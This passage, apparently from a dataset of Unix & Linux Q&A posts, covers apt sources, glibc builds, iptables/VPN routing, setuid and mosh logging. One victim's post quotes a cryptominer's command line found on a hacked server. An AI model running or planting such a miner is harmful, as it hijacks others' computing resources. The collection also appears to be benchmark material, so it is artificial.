http://archive.ubuntu.com nadia-updates/universe Translation-en_IN Ign http://archive.ubuntu.com nadia-updates/universe Translation-en Ign http://archive.ubuntu.com quantal/main Translation-en_IN Ign http://archive.ubuntu.com quantal/multiverse Translation-en_IN Ign http://archive.ubuntu.com quantal/restricted Translation-en_IN Ign http://archive.ubuntu.com quantal/universe Translation-en_IN Ign http://archive.ubuntu.com quantal-updates/main Translation-en_IN Ign http://archive.ubuntu.com quantal-updates/multiverse Translation-en_IN Ign http://archive.ubuntu.com quantal-updates/restricted Translation-en_IN Ign http://archive.ubuntu.com quantal-updates/universe Translation-en_IN Fetched 771 kB in 1min 19s (9,715 B/s) W: Failed to fetch http://archive.canonical.com/ubuntu/dists/nadia/partner/binary-i386/Packages 404 Not Found [IP: 91.189.92.191 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/nadia-security/main/binary-i386/Packages 404 Not Found [IP: 91.189.92.200 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/nadia-security/restricted/binary-i386/Packages 404 Not Found [IP: 91.189.92.200 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/nadia-security/universe/binary-i386/Packages 404 Not Found [IP: 91.189.92.200 80] W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/nadia-security/multiverse/binary-i386/Packages 404 Not Found [IP: 91.189.92.200 80] W: Failed to fetch http://packages.medibuntu.org/dists/nadia/free/binary-i386/Packages 404 Not Found W: Failed to fetch http://packages.medibuntu.org/dists/nadia/non-free/binary-i386/Packages 404 Not Found W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia/main/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia/restricted/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia/universe/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia/multiverse/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia-updates/main/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia-updates/restricted/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia-updates/universe/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/nadia-updates/multiverse/binary-i386/Packages 404 Not Found [IP: 91.189.92.202 80] E: Some index files failed to download. They have been ignored, or old ones used instead. My Sources.list looks like : deb http://packages.linuxmint.com/ nadia main upstream import deb http://archive.ubuntu.com/ubuntu/ nadia main restricted universe multiverse deb http://archive.ubuntu.com/ubuntu/ nadia-updates main restricted universe multiverse deb http://security.ubuntu.com/ubuntu/ nadia-security main restricted universe multiverse deb http://archive.canonical.com/ubuntu/ nadia partner deb http://packages.medibuntu.org/ nadia free non-free # deb http://archive.getdeb.net/ubuntu quantal-getdeb apps # deb http://archive.getdeb.net/ubuntu quantal-getdeb games deb http://archive.ubuntu.com/ubuntu/ quantal main restricted universe multiverse deb http://archive.ubuntu.com/ubuntu/ quantal-updates main restricted universe multiverse deb http://security.ubuntu.com/ubuntu/ quantal-security main restricted universe multiverse deb http://archive.canonical.com/ubuntu/ quantal partner deb http://packages.medibuntu.org/ quantal free non-free # deb http://archive.getdeb.net/ubuntu quantal-getdeb apps # deb http://archive.getdeb.net/ubuntu quantal-getdeb games"} {"_id": "3953", "title": "SCO Unix run interactive script when sending a print job", "text": "I'm working with (read, \"around\") a proprietary ERP system on top of SCO Unix. It has several \"query at print time\" reports where you can assign a printer to send your job to. You usually input something like \"%lp5\", which spools your job to printer lp5. If I want to create a pseudo-printer that will interact with the user and then return control to the ERP how would I go about it? I have manipulated the LP interfaces scripts in the vein of this article, to include dynamic data into the reports and flow control to a print server. But now I want to do actual interaction with the user to connect print jobs with a separate HylaFax server that I've built, so I need a way of triggering a shell script and asking the user for fax coversheet information. Our system has a built in fax system using VsiFax (which I'm trying to subvert), but I don't see how it is performing the same function I'm trying to do. You usually send your job to the VsiFax system by printing to \"@fax\" which I don't know if it's a hardcoded printer on the ERP side or if there is some Unix convention that is being used to call a shell script. I guess what I'm looking for is a resource or some help on what the SCO Unix printer assignment conventions might be related to syntax of printer names (what does \"@\" and \"%\" mean and are there other special characters, and how I could call a shell script when sending that print job?"} {"_id": "3952", "title": "What format does man use?", "text": "A piece of software wants to know for its configuration whether my man uses nroff or vt100 \"catman\" pages. How do I determine this?"} {"_id": "3951", "title": "xfdesktop (xfce4) broken? (can't set wallpaper)", "text": "On start-up, xfce4 loads lots of desktop pictures (I have the settings set to 'image list') one after another (about 10, but I have the feeling it gets more and more). That by itself would be no problem, but then it decides to show no background image, just an awful shade of brown. Plus, it shows files (icons) on the desktop, which I don't want. Where could I start to look to fix it?"} {"_id": "154014", "title": "Building custom glibc and compiling program against it", "text": "I've been scouring the internet for a couple of days now to get some information on how to (cross)compile glibc and then compile a program against it. So far, I've managed to compile glibc using the following commands `../configure arm-none-linux-gnueabi --host=arm-none-linux-gnueabi --target=arm-linux-gnueabi --prefix=`pwd` --build=i686-pc-linux-gnu` make -j4 ` As for the program itself, I followed this post and it all seemed to work..Until I realized that none of the changes that I made to glibc were reflecting. To come up with a test to verify whether the library was infact being linked against, I made the following changes: I modified `include/signal.h` and added `extern int my_test_fn(void);` I then modified `signal/signal.c` first and then `sysdeps/posix/signal.c` and went on to add the function definition as follows: int my_test_fn() { errno=13; //EACCESS } When I tried compiling my program, it threw up `In function `tuning_library_init': /home/guru/workspace/tuning- library/tuning_library.c:1076: undefined reference to `my_test_fn' collect2: error: ld returned 1 exit status make: *** [host] Error 1 `"} {"_id": "55090", "title": "Change default DNS on openvpn connect", "text": "I am using Network Manager on Ubuntu 12.10 to connect to an openvpn server. The connection works without problems. However, when I connect, I would like to change my default DNS server to a server on the vpn network. That way I can use domain names that are only defined on the vpn network. Is there a way I can make this automatic with Network Manager? I can also change settings on the openvpn server if that is the way I need to go. Thanks!"} {"_id": "55092", "title": "Installing RPMS on Centos", "text": "Is generally installing standalone rpms considered 'dangerous'? Are these affected by any system upgrades, package upgrades etc.? How about dependencies and libraries?"} {"_id": "55093", "title": "setuid and setgid confusion", "text": "I'm trying to fully grasp the concept of setuid and setgid, and I'm not quite sure in what way permissions are actually elevated. Let me provide an example: **Users** userA (groups: userA groupA) userB (groups: userB groupB GroupC) **Executable** Permission owner group filename -rws-----x userA groupD file -rwsrws--x userA groupD file2 If userB executes `file` and `file2`, what group permission will the executables have? What I'm not completely sure about, is whether the executable gains user/group permissions of _both_ the caller and the file owner, or if permissions are \"replaced\". I know this is a silly example, as setuid and setgid will normally be used to envoke \"all-powerful\" applications, but I hope this example will be better at actually conceptualizing how setuid and setgid works."} {"_id": "129035", "title": "Have I been hacked?", "text": "I run a dedicated server, where I noticed a high CPU usage recently, and checked the processes. It appears someone (mick account) was mining on my server. How is this possible? The process is below. I have suspended the account. What else would I need to do? 25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B"} {"_id": "144208", "title": "find files without extension", "text": "Let say I have: foo.txt bar baz.ooo If I use `ls -1 !(*.*)` then I'll get only `bar` on the output. Great, now I wish to have same results with find - some `find -regex` that will do the job. **NOTE:** `find -name !(*.*)` is not the answer as `!(*.*)` in it is still Bash's glob which I can NOT use."} {"_id": "34740", "title": "Deduplication on partition level", "text": "What are available solutions for block level or more detailed deduplication ? There are file-based ones - with \"Copy-On-Write\" approach. I'm looking for block level \"copy-on-write\", so I could periodically look for common blocks, or - preferably - parts of files, merge them and flag for CoW use manner. Is there sth like this available, or does it still need to be created ? I am not sure if Btrfs deduplication is block/file/subpart level ? There is LessFS, but I'am not sure what level of deduplication does it provide ? Maybe other solution?"} {"_id": "34743", "title": "is it possible to send the remote connector ip via netcat?", "text": "Actually I want to make something like ifconfig.me functionality but only for my internal network. I see it the way smth on server listens some port and send ip of connected remote machine. Seems `nc` is a great utility for my issue (also I haven't any php/python/whatever on server. just only shell and standard unix tools). I can see remote ip and dns name if I launch `nc -vv` and connect to it from remote system, but I can't find the way to send them to remote host. Or maybe I chose too strange path and there is another simpler solution?"} {"_id": "34742", "title": "CIFS vs SAMBA, What are the differences", "text": "What are the differences between CIFS and SAMBA? When would you use one over the other? Are there any performance differences between the two?"} {"_id": "144203", "title": "Parameter substitution and error messages: suppressing line numbers etc", "text": "Here is my example file: !/bin/bash # argument-one # Is first argument missing? # First method [[ \"$1\" == \"\" ]] && echo \"Usage: $(basename $0) filename\"; exit 1 # Second method # filename=${1?\"Usage: $(basename $0) filename\"} In the above script, I get a \"clean\" message `Usage: argument-one filename` when I run the above script with no arguments; and it exits cleanly. However, if I comment out line 7 and uncomment line 10, I get this error message when the program exits: `./argument-one: line 10: 5: Usage: argument-one filename` This message suggests that there is something wrong with the program that triggered it to exit, when in fact, it was actually an invocation with no arguments, which is a usage issue. But line 10 is preferable because it is more terse and also assigns a variable if available. My question is: \"How might I retain only the message part and filter out or disable the `./argument-one: line 10: 5:` part of the usage message? Thanks."} {"_id": "34744", "title": "Partitioning for Web Servers", "text": "I was curious what some general best practices are in relation to partitioning for a new Linux VM that will be used as a web server? Are there certain guides that should be consulted or followed? What partitions should be created? What are the common sizes for the various partitions that should be created? Should I worry about LVMs, and if so, what do I need to know about them? I am working on building a template for many new web server builds and I wanted to make sure that I have something that will be able to be used now and for a little while into the future to turn up new servers with. Also, this will likely be used on CentOS 6.x or RHEL 6.x."} {"_id": "137423", "title": "TFTP server not listening on port defined", "text": "I started a tftp server with `atftpd -v --port 69 --bind-address 10.10.10.2 --daemon /srv/tftp/` command, but for some reason I do not see TFTP server listening on port 69 in ss/netstat output. However, if I connect to a TFTP server with TFTP client, I'm able to transfer files and automatically another instance of TFTP server starts(PID 5191): # ss -l -4 -u Recv-Q Send-Q Local Address:Port Peer Address:Port # ss -l -6 -u Recv-Q Send-Q Local Address:Port Peer Address:Port # pgrep -lf tftp 4316 /usr/sbin/atftpd -v --port 69 --bind-address 10.10.10.2 --daemon /srv/tftp/ 5191 in.tftpd --tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /srv/tftp # `in.tftpd` is a symbolic link to `/usr/sbin/atftpd`. How are clients able to connect to TFTP server if the TFTP server is not listening on UDP port 69? Are there other servers which work in a same manner?"} {"_id": "35295", "title": "Can't start X window because reporting can't find a valid framebuffer device", "text": "Can't start X window because reporting can't find a valid framebuffer device. Here is the error output below: \"X Window System Version 7.1.1 Release Date: 12 May 2006 X Protocol Version 11, Revision 0, Release 7.1.1 Build Operating System: Linux 2.6.18-164.11.1.el5 ppc Red Hat, Inc. Current Operating System: Linux scenarioa12.scenario.netfinity.com 2.6.18-194.el5 #1 SMP Tue Mar 16 22:03:12 EDT 2010 ppc64 Build Date: 06 March 2010 Build ID: xorg-x11-server 1.1.1-48.76.el5 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Module Loader present Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational,(WW) warning, (EE) error, (NI) not implemented, (??)unknown. (==) Log file: \"/var/log/Xorg.0.log\", Time: Thu Mar 29 09:13:43 2012 (==) Using config file: \"/root/xorg.conf\" (WW) ****INVALID IO ALLOCATION**** b: 0xf400fc00 e: 0xf400fcff correcting (EE) end of block range 0xf3ffffff < begin 0xf4000000 (**) RADEON(0): RADEONPreInit (EE) Unable to find a valid framebuffer device (EE) RADEON(0): Failed to open framebuffer device, consult warnings and/or errors above for possible reasons (you may have to look at the server log to see warnings) Backtrace: 0: X(xf86SigHandler+0x98) [0x100a89d8] 1: [0x100344] 2: /usr/lib/xorg/modules/drivers/radeon_drv.so(RADEONPreInit+0xcb8) [0xf46fe18] 3: X(InitOutput+0xadc) [0x10066f4c] 4: X(main+0x274) [0x10027864] 5: /lib/libc.so.6 [0xfe2dde0] 6: /lib/libc.so.6 [0xfe2e020] Fatal server error: Caught signal 7. Server aborting XIO: fatal IO error 104 (Connection reset by peer) on X server \":0.0\" after 0 requests (0 known processed) with 0 events remaining.\" And some other info may help: Here is the configuration of `xorg.conf`: console# cat /etc/X11/xorg.conf # Xorg configuration created by pyxf86config Section \"ServerLayout\" Identifier \"Default Layout\" Screen 0 \"Screen0\" 0 0 InputDevice \"Keyboard0\" \"CoreKeyboard\" EndSection Section \"InputDevice\" Identifier \"Keyboard0\" Driver \"kbd\" Option \"XkbModel\" \"pc105\" Option \"XkbLayout\" \"us\" EndSection Section \"Device\" Identifier \"Videocard0\" Driver \"vesa\" Option \"UseFBDev\" \"true\" EndSection Section \"Screen\" Identifier \"Screen0\" Device \"Videocard0\" DefaultDepth 24 SubSection \"Display\" Viewport 0 0 Depth 24 EndSubSection EndSection"} {"_id": "35297", "title": "Use AWK add new line if match exists", "text": "I have a file with the following format: aaa@ bbb bbb@ ccc& ddddd@ aaaf ccc@ ddd& eee: abcd& dassda The output should be: aaaa@ bbb bbb@ ccc& ddddd@ aaaf ccc@ ddd& eee@ abcd& dassda How would I be able to achieve this using AWK? I've tried sed and awk but I can only print a new line after the delimeter, I don't know how to print the whole thing on the next line."} {"_id": "35290", "title": "Java on FreeBSD", "text": "Is it possible to get the latest Java (Java 7u3 or Java 6u31) on FreeBSD? Everything i found on the internet is outdated. I currently have 6u24 from the packagemanager which works for now but may get problematic really soon."} {"_id": "35291", "title": "QEMU-KVM and internal DHCP server", "text": "I have set up a few soon-to-be production VMs running on QEMU-KVM on Ubuntu 10.04 LTS. As for networking, I chose the \"NAT\" option in Virt-Manager and each VM now gets an IP address 192.168.122.x from QEMU's internal DHCP server. I've restarted the VMs several times and the IP addresses are always the same. I've given each VM a network adapter with a unique MAC address. So can I rely on that QEMU's internal DHCP server will give out the same IP addresses? Or is the safest option to set static IP addresses from within each VM?"} {"_id": "35292", "title": "Quickly find which file(s) belongs to a specific inode number", "text": "I know of this command: find /path/to/mountpoint -inum but it is a very slow search, I feel like there has to be a faster way to do this. Does anybody know a faster method?"} {"_id": "107206", "title": "Is the Minix 3 license GPL compatible?", "text": "Does anyone know if Minix 3's license is GPL compatible? It's a BSD-style license, but I'm not entirely sure if it's compatible with the GPL. Here is a link to the license: http://www.minix3.org/other/license.html"} {"_id": "107207", "title": "Windows in Gnome on Ubuntu 10.10 are frozen", "text": "I saw a question in SuperUser titled How do I restart a frozen screen in Ubuntu without losing any open windows? and I think it would be helpful, but the problem is I can't switch to any of the TTYs. I'm trying to switch to tty 1 with `Ctrl`+`Alt`+`F1` and it doesn't work, and honestly I even can't say if it has ever been worked before. The problem already occured one time about one month ago and fixed after 3 hours of waiting but this time the difference is that the cursor is moving and the clock is working right. Moreover all system monitor indicators show current state of hardware so it seems that the processor, disc, RAM and swap are also working. It happened during moving a terminal window to another part of workspace which is displayed on second monitor. And, what is strange, I can see mini dialog box with the resolution of the window that I have never seen before. Trying to unplug the second monitor didn't help. What can I do to unfreeze it and to not lose unsaved data? Shortcut `Super`+`D` made GNOMEs windows unfrozen so in similar cases this should be helpful."} {"_id": "107204", "title": "Are nautilus and command-line commands the same?", "text": "When I copy, move, or delete a file in Nautilus or using the corresponding commands (cp, mv, or rm) does the same tool perform the action behind the wraps? I ask because nautilus tends to hang on big files or too many files. I have the impression that it's not that efficient."} {"_id": "107205", "title": "configuring hubot to connect to a local openfire server", "text": "I'm running Ubuntu and I am trying to get a hubot to connect to my local openfire server. I followed the tutorial here, and everything went pretty smooth till toward the end, after editing the dependencies, I run `npm install` and receive two warnings: npm WARN package.json node-xmpp@0.3.2 'repositories' (plural) Not supported. npm WARN package.json Please pick one as the 'repository' field > node-stringprep@0.1.11 install /opt/hubot/my-bot/node_modules/node-stringprep > node-gyp rebuild Since they are warnings and not errors I went ahead and started hubot to see if it would connect but it doesn't. I don't get any errors from it but it doesn't connect. The output when I run the bot: jake@jake-Lenovo-G580:/opt/hubot/my-bot$ ./bin/hubot --adapter xmpp npm WARN package.json node-xmpp@0.3.2 'repositories' (plural) Not supported. npm WARN package.json Please pick one as the 'repository' field > node-stringprep@0.1.11 install /opt/hubot/my-bot/node_modules/node-stringprep > node-gyp rebuild make: Entering directory `/opt/hubot/my-bot/node_modules/node-stringprep/build' CXX(target) Release/obj.target/node_stringprep/node-stringprep.o SOLINK_MODULE(target) Release/obj.target/node_stringprep.node SOLINK_MODULE(target) Release/obj.target/node_stringprep.node: Finished COPY Release/node_stringprep.node make: Leaving directory `/opt/hubot/my-bot/node_modules/node-stringprep/build' [Mon Dec 30 2013 13:39:23 GMT-0700 (MST)] INFO { username: 'hubot', password: 'asdf', host: '127.0.0.1', port: '9090', rooms: [ { jid: 'hubot-test', password: false } ], keepaliveInterval: 30000 } And nothing happens. I double checked all the hubot xmpp fields several times to make sure they are correct, and although this particular output does not have it, I tried several variations of usernames -> `hubot@jake-lenovo-g580` and `hubot@jake- Lenovo-G580`. Any help much appreciated."} {"_id": "107202", "title": "How to write a script that will open up multiple tabs in the terminal?", "text": "I am on OSX and using iTerm I have this so far #!/bin/sh open /Applications/iTerm.app & exit 0 So after opening, I need two windows and one of those windows will need to open 6 tabs. two of those tabs will need to enter into a certain directory, one of those needs to run an app like cd ~/Desktop/projects/myNodeApp node app.js"} {"_id": "151464", "title": "iptables redirect traffic from VPN interface to next interface", "text": "Can you help me with this problem please? I need redirect all traffic from tun0 interface (OpenVPN tunnel) to eth1 interface. eth1 is internal network behind this system which works as special firewall... If I use this rule (now only for testing purposes - destination port 80): iptables -t nat -A PREROUTING -i tun0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.199.115.146 traffic from VPN pass correctly. I see it in iptables statistic (iptables -L -v), but reverse traffic does not pass. iptables shows this error: 99689.703349 x_tables: ip_tables: tcp match: only valid for protocol 6 I need redirect all traffic from machine behind firewall only via tun0 interface. I use this rule too: iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE I have enabled `ip_forward`. If I use rule only with `-p tcp` without `-m tcp` I see in iptables statistic activity in the rule `iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE` **interfaces** _VPN Server (A):_ eth0 Link encap:Ethernet HWaddr 00:... inet addr:MY_PUBLIC_IP Bcast:MY_PUBLIC_IP.255 Mask:255.255.255.0 inet6 addr: .../64 Scope:Global inet6 addr: .../64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:41909528 errors:0 dropped:0 overruns:0 frame:0 TX packets:373639 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2150448064 (2.1 GB) TX bytes:185713075 (185.7 MB) Interrupt:10 tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:10.1.1.1 P-t-P:10.1.1.2 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:82014 errors:0 dropped:0 overruns:0 frame:0 TX packets:164251 errors:0 dropped:24 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:5945388 (5.9 MB) TX bytes:147587733 (147.5 MB) **on firewall machine:** eth0 Link encap:Ethernet HWaddr 08:... inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:189399 errors:0 dropped:0 overruns:0 frame:0 TX packets:103528 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:180399131 (180.3 MB) TX bytes:14844868 (14.8 MB) tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:10.1.1.2 P-t-P:10.1.1.1 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:153314 errors:0 dropped:0 overruns:0 frame:0 TX packets:80986 errors:0 dropped:8 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:145341797 (145.3 MB) TX bytes:5818996 (5.8 MB) eth1 Link encap:Ethernet HWaddr 08:... inet addr:10.199.115.1 Bcast:10.199.115.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6890 errors:0 dropped:0 overruns:0 frame:0 TX packets:23022 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:710721 (710.7 KB) TX bytes:43966879 (43.9 MB) _machine B:_ eth0 Link encap:Ethernet HWaddr 08:... inet addr:10.199.115.146 Bcast:10.199.155.255 Mask:255.255.255.0 inet6 addr: .../64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:24185 errors:0 dropped:0 overruns:0 frame:0 TX packets:8044 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:29645960 (28.2 MiB) TX bytes:842414 (822.6 KiB) **Schema:** `VPN server (A) /eth0 - public IP, tun0 VPN/ <-> Firewall (F) /tun0 VPN, eth1 - internal network/ <-> Server (B) (eth0 - internal network)` Communication which is initialized from machine behind the firewall works ok. Thank you very much for your help. **Routing tables:** VPN server A: - is VPS server 10.1.1.2 dev tun0 proto kernel scope link src 10.1.1.1 MY_PUBLIC_IP.0/24 dev eth0 proto kernel scope link src MY_PUBLIC_IP 10.199.115.0/24 via 10.1.1.2 dev tun0 default via MY_PUBLIC_IP.1 dev eth0 metric 100 _///one physical server_ Firewall F: is virtual machine VirtualBox Ubuntu - eth0 is VirtualBox NAT, but I need use tun0 and eth1 is local network for B 0.0.0.0/1 via 10.1.1.1 dev tun0 default via 10.0.2.2 dev eth0 metric 100 10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 10.1.1.1 dev tun0 proto kernel scope link src 10.1.1.2 10.199.115.0/24 dev eth1 proto kernel scope link src 10.199.115.1 MY_PUBLIC_IP via 10.0.2.2 dev eth0 128.0.0.0/1 via 10.1.1.1 dev tun0 B machine on eth1 side (no eth0) is virtual machine Debian 7 default via 10.199.115.1 dev eth0 proto static 10.199.115.0/24 dev eth0 proto kernel scope link src 10.199.115.146 Route for packets should be as much as possible transparent even invisible... **iptables rules:** **_on VPN Server (A):_** only table NAT: -P PREROUTING ACCEPT -P POSTROUTING ACCEPT -P OUTPUT ACCEPT -A PREROUTING -i eth0 -p tcp -m tcp --dport 0:1192 -j DNAT --to-destination 10.1.1.2 -A PREROUTING -i eth0 -p tcp -m tcp --dport 1195:65535 -j DNAT --to-destination 10.1.1.2 -A PREROUTING -i eth0 -p udp -m udp --dport 0:1192 -j DNAT --to-destination 10.1.1.2 -A PREROUTING -i eth0 -p udp -m udp --dport 1195:65535 -j DNAT --to-destination 10.1.1.2 -A POSTROUTING -s 10.0.0.0/8 -o eth0 -j MASQUERADE _FILTER table_ is empty _MANGLE table_ is empty **_on firewall (F):_** currently after last modification _NAT table:_ none _FILTER table_ contains many specific rules for mitigation etc... _MANGLE table_ is empty **_on machine B_** without iptables rules"} {"_id": "20460", "title": "How do I do a ls and then sort the results by date created?", "text": "In what order are the dated ordered by? Certainly not alphanumeric order. `ls -lt` sorts by modification time. But I need creation time."} {"_id": "66023", "title": "Deleted header file /bits/types.h", "text": "On compiling a program using `gcc`, I was getting syntax errors in `/sys/types.h`. While investigating the problem, I ended up mixing up the `/bits/types.h` and `/sys/types.h` and I mistakenly deleted `/sys/types.h` as well created some problems in `/sys/types.h` How do I fix this ? Are they a part of the `linux-headers` package ? I am using Ubuntu 12.04 x86 with Kernel 3.2.0-36-generic"} {"_id": "130959", "title": "How to get rid of `mosh` spamming `last -f /var/log/wtmp`?", "text": "Ever since I've started using mosh, I'm getting way too many entries in my `/var/log/wtmp` file of last(1) on a Linux box. cnst pts/8 172.56.2x.yz via Mon May 19 08:19 still logged in cnst pts/8 mosh [50892] Mon May 19 08:19 - 08:19 (00:00) cnst pts/8 172.56.2x.yz via Mon May 19 08:18 - 08:19 (00:01) cnst pts/8 mosh [50892] Mon May 19 08:18 - 08:18 (00:00) cnst pts/8 172.56.2x.yz via Mon May 19 08:18 - 08:18 (00:00) cnst pts/8 mosh [50892] Mon May 19 08:18 - 08:18 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 20:11 - 08:18 (12:06) cnst pts/8 mosh [50892] Sun May 18 20:11 - 20:11 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 20:11 - 20:11 (00:00) cnst pts/8 mosh [50892] Sun May 18 20:10 - 20:11 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 19:55 - 20:10 (00:15) cnst pts/8 mosh [50892] Sun May 18 19:55 - 19:55 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 19:55 - 19:55 (00:00) cnst pts/8 mosh [50892] Sun May 18 19:55 - 19:55 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 19:24 - 19:55 (00:30) cnst pts/8 mosh [50892] Sun May 18 19:24 - 19:24 (00:00) cnst pts/8 172.56.2x.yz via Sun May 18 19:24 - 19:24 (00:00) cnst pts/8 mosh [50892] Sun May 18 19:23 - 19:24 (00:00) What's up with those 00 hours, 00 minutes, login entries? Any way to adjust the parameters of mosh to not be so strict about reporting the very brief periods in the loss of connectivity? Not really interested in having a couple of seconds of connectivity issues reported so loudly."} {"_id": "66021", "title": "Changing user while scp", "text": "I need to copy file between Linux machines. The problem that the user I use to login (`myuser`), is different from the user that can access the file. If I just `ssh` to the machine, I can switch the user using `sudo su someuser`, can I do it somehow while `scp`? While using WinSCP I managed to do it, by configuring the SCP/Shell, so I believe there must be a similar way to do it via pure shell."} {"_id": "50110", "title": "Fedora installation problem on virtualbox", "text": "I try to install Fedora as a guest operating system on VirtualBox in Windows7 64-bit.I download Fedora-17-x86_64-Live-Desktop.iso first and when I begin to install everything fine until I see \"Congratulations,you succesfully install fedora\" page.When I reboot fedora virtualbox stopped.I search on google but could not find anything to solve my problem."} {"_id": "24448", "title": "Unpacking kernel-source rpm off-system (OpenSuse)?", "text": "I'm using OpenSuse 11.2 from a LiveUSB USB flash/stick, which arguably has not much place on it. I need to get the Linux sources for this version of OpenSuse, as they are needed to build a driver for an application I'm using. I have plenty of disk space on an attached hard-drive, so I'd like to \"install\" the sources there ( _note that on 11.2,`zypper --download-only` will by default download to /var/cache/zypp/packages, which crashes my LiveUSB setup_). So, I do the following: > cd /media/myhdrive/ > wget http://download.opensuse.org/update/11.2/rpm/src/kernel-source-2.6.31.14-0.8.1.src.rpm > mkdir kernel-source-2.6.31.14 > cd kernel-source-2.6.31.14/ > rpm2cpio ../kernel-source-2.6.31.14-0.8.1.src.rpm | cpio -idmv --no-absolute-filenames > ls arch-symbols kernel-source.rpmlintrc patches.kabi.tar.bz2 built-in-where kernel-source.spec patches.kernel.org.tar.bz2 check-for-config-changes kernel-source.spec.in patches.rpmify.tar.bz2 check-supported-list kernel-spec-macros patches.rt.tar.bz2 compute-PATCHVERSION.sh kernel-syms.spec.in patches.staging.tar.bz2 .... ... and there is a bunch of `*.tar.gz` files (patches) - and not anything resembling C source files. I'm guessing there is a script/command I should apply now to unpack the source tree, but I have no idea what it - I've seen `rpmbuild -bb ...` here, but I guess that will build yet another `.rpm` - while I want the actual sources unpacked (and that at a location I specify - not in `/usr/src` or anywhere on root filesystem). Any ideas what I should do now? Many thanks in advance for any answers, Cheers! EDIT: via Building a custom kernel - FedoraProject, trying `rpmbuild -bp`, but it fails: # man rpmbuild: # -bp Executes the \"%prep\" stage from the spec file. Normally this involves unpacking the sources and applying any patches. > mkdir src > rpmbuild --buildroot=$(pwd)/src/ -bp --target=$(uname -m) kernel-source.spec Building target platforms: i686 Building for target i686 error: Unable to open /usr/src/packages/SOURCES/kernel-spec-macros: No such file or directory"} {"_id": "151469", "title": "How to mask passwords in 'watch' command?", "text": "I am using `watch` to monitor the progress of a MySQL replication slave. The way I have it set up now, the password shows up in the header of the `watch` output. I am not exceedingly worried that someone will steal the password, but on principle I would prefer not to be showing a naked password to anyone who happens to wander up and look over my shoulder. The command line I am currently using with `watch` is: watch -n1 -d mysql -pmypass -e \"'show slave status\\G'\" Should I just bury the `mysql` command in a tiny little shell script?"} {"_id": "50117", "title": "Symbolic link to a socket", "text": "From a security point of view, is it safe to create a symbolic link to a socket file? The following bits of context refer to the deployment of a web application on a shared hosting service. $ ls -al ~/runtime/supervisor srwx------ 1 myuser myuser 0 Oct 6 20:02 supervisord.sock $ pwd ~/runtime/deployment_1 $ ln -s ../supervisor/supervisor.sock $ ls -al lrwxrwxrwx 1 myuser myuser 47 Oct 6 21:20 supervisord.sock -> ../runtime/supervisor/supervisord.sock= Should I set any special permissions on the symlink or something else?"} {"_id": "66029", "title": "Systemd/agetty: halt machine when session ends", "text": "Using LXC running a systemd based container, one automatically gets dropped into a console session on the container. By creating and modifying `/etc/systemd/system/console-getty.service` to have an `ExecStart` line such as the following: ExecStart=-/sbin/agetty --noclear -a -s console 115200,38400,9600 It's possible to skip the login session and directly drop in to a session running as a particular user. What I would like is for the machine to be automatically halted when this session ends. Is there a way to configure this, either in systemd or agetty? For reference, the host is Ubuntu 12.04 and the container is running a pretty recent Arch basis."} {"_id": "61557", "title": "Linux and Android apps on ARM vs x86", "text": "There are a plethora of low-cost ARM-based mini-devices coming out (Cotton Candy, etc). Some of these are Android-only, some Linux-only, and some allow both operating systems to run. The only issue is: all of these are ARM-based devices. While Android apps can run on Android on both x86 and ARM, I'm having a hard time finding useful apps that run 